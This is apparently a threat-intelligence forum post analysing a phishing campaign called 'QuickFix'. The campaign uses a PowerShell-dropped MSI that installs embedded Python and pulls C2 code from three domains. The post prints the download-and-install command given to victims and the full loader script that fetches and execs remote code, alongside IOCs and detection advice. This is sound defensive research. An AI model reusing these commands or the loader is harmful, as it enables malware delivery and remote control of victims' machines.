QuickFix: Yet Another Bring-Your-Own-Python Payload

Last Updated: 2026-09-16T14:53:57Z

What’s Happening

TL;DR: fileupdates.blob.core.windows[.]net is hosting “QuickFix,”, a new-ish installer file with PowerShell that installs its own Python interpreter, then activates a light C2 beacon for Python commands send via JSON. The detection opportunity is Python executing outside of expected directories.

This was a tip from Fedi and turned into a really fun investigation. The tipper was surprised that Microsoft even allowed that blob storage name to be used. Seems pretty legitimate, right? But of course, it’s just someone’s name for a storage container—just like you can pick any S3 bucket name that isn’t taken already.

Initial Access

Per the report, the initial access attempt was via email and Teams voice phishing, masquerading as “IT.” Another one for the “Don’t federate Teams” column. Users who answered the call were given the following PowerShell to run:

Iwr -URI “https://fileupdates.blob.core.windows[.]net/link/update.msi -OutFile “$env:USERPROFILE\downloads\update_v2.6.msi”; msiexec.exe /i “$env:USERPROFILE\downloads\update_v2.6.msi” /qn

So a straightforward pull of a .msi from a must-trust host. I grabbed the installer file. The installer calls itself “QuickFix,” hence the name. It’s not a typo, but maybe it’s a play on “ClickFix?”

Execution

The installer contains naught but another tiny PowerShell script, which is installed to %LOCALAPPDATA%\QuickFix\scripts\Qix.ps1

$p="$env:LOCALAPPDATA\Pembed";
$t="$env:TEMP\py.zip";
iwr 'https://www.python.org/ftp/python/3.14.7/python-3.14.7-embed-amd64.zip' -OutFile $t;
mkdir $p -Force|Out-Null;
Expand-Archive $t $p -Force;
ri $t;
iwr 'https://bootstrap.pypa.io/get-pip.py' -OutFile "$p\get-pip.py";
Set-Location $p;
& "$p\python.exe" "$p\get-pip.py" --target "$p\Lib\site-packages";
sleep 5;
('pythonnet','pywin32','pywinpty','websockets')|%{& "$p\python.exe" "$p\Lib\site-packages\pip" install $_};
(1..(Get-Random -Min 35 -Max 100)|%{[char]((65..90)+(97..122)|Get-Random)}) -join ''|Out-File "$p\README.md" -Encoding utf8;
 .\pythonw.exe -c "import urllib.request as u,json,ssl,random;
exec(json.loads(u.urlopen(f'''https://{random.choice(['portojavspirit[.]net','herobustore[.]net','appsyspro[.]net'])}/cl/flash/c?v=17''',context=ssl._create_unverified_context()).read().decode())['code'])"

Here we get our next observables. First, a hardcoded drop directory of %LOCALAPPDATA\Pembed. That’s handy! This is the Bring-Your-Own-Python portion of the attack. I’m not sure why this technique is so hot right now, but it is. As we’ll see, this iteration is a bit more clever than previous iterations to avoid easy detections. But only a bit; this thing is still very catchable. Also note the hardcoded /cl/flash/c?v=17 URI for all the domains.

Once Python is dropped, the PowerShell Script invokes pythonw.exe to pull down C2 instructions from one of 3 domains, also hardcoded.

Also note the file write to README.md with a random alphanumeric string of size 35-100 characters. We’ll come back to that later.

What, no etherhiding? I’m embarrassed.

Command and Control

The payload from these domains is heavily obfuscated, but with a little bit of LLM assistance, I was able to deobfuscate the sample and understand its purpose.

Side note: This is a thing that LLMs are legitimately excellent at. I’m still wrestling with those implications, but the investigation likely would have stopped here without this assistance. Deobfuscating these payloads (which were likely obfuscated with LLMs in the first place) is just too time-intensive.

The downloaded Python is a lightweight C2 listener. One interesting quirk is that the beacon uses a custom Salsa20/ChaCha20 cipher with custom sigma constants.

  • 128-bit key path: b"mlswgtppayebtezk" (standard: b"expand 16-byte k")
  • 256-bit key path: b"lwifnrfiosmfrubf" (standard: b"expand 32-byte k")

This means anything looking for normal invocations of these ciphers will probably miss this. But on the other hand, here are two high-fidelity string matches!

Remember that README.md from the previous stage? Turns out that’s the key for the cipher!

The C2 then calls out to one of the same three domains from the previous stage to receive instructions. While I haven’t been able to get proxied C2 traffic thanks to Python being a jerk and using its own CA trust store, Sandbox analysis shows what happens next.

So basic recon, but obviously these processes as a child of pythonw.exe should be alerted.

No word on persistence or final execution, although we can make some educated guesses based on the immaturity of this code, as well as the initial access methods. Expect a stealer of some sort. This also correlates with the lack of persistence.

An important note: the C2 listener never touches the disk. This is “fileless” Python malware, which will confound some detections.

Actions

Block the blockable below, but the most important takeaway from this is the popularity of BYOP (Bring Your Own Python). Since Python itself really can’t be considered malicious, putting malware (especially fileless) malware in Python is a low-stakes, high-value move for attackers. Detect on any use of pythonw.exe or other Python executables outside expected locations. If you can, deny execution of Python outside of approved locations.

Observables

Value Type Description
fileupdates.blob.core.windows[.]net Domain Initial MSI host
a9174413214a6cdb3646d6cf14de3f6b557a5f1e7214a8f27969212907386a31 SHA256 update.msi
%LOCALAPPDATA%\QuickFix\scripts\Qix.ps1 Path QuickFix PowerShell Loader
be90c9d0064a8d33cfbafa0172607544d419bdb8f8a9bbc8df37bf406ac274fe SHA256 Qix.ps1
%LOCALAPPDATA%\Pembed Path Embeeded Python Drop
mlswgtppayebtezk String Custom ChaCha20 16-byte sigma
lwifnrfiosmfrubf String Custom ChaCha20 32-byte sigma
portojavspirit[.]net Domain Second Stage and C2 Domain
herobustore[.]net Domain Second Stage and C2 Domain
appsyspro[.]net Domain Second Stage and C2 Domain
/cl/flash/c?v=17 URI Second Stage URI

VirusTotal Graph:

Notes

Thanks again to BabblingGeek for this tip! If you have a suspicious sample you want help investigating, drop us a line! Our DMs are open.

2 Likes

Love when a community tip pans out. Really highlights our point that threat intel is mutual aid and our community is one of the greatest untapped resources we have. Thanks for running it down!

1 Like

Added the VirusTotal graph to the OP.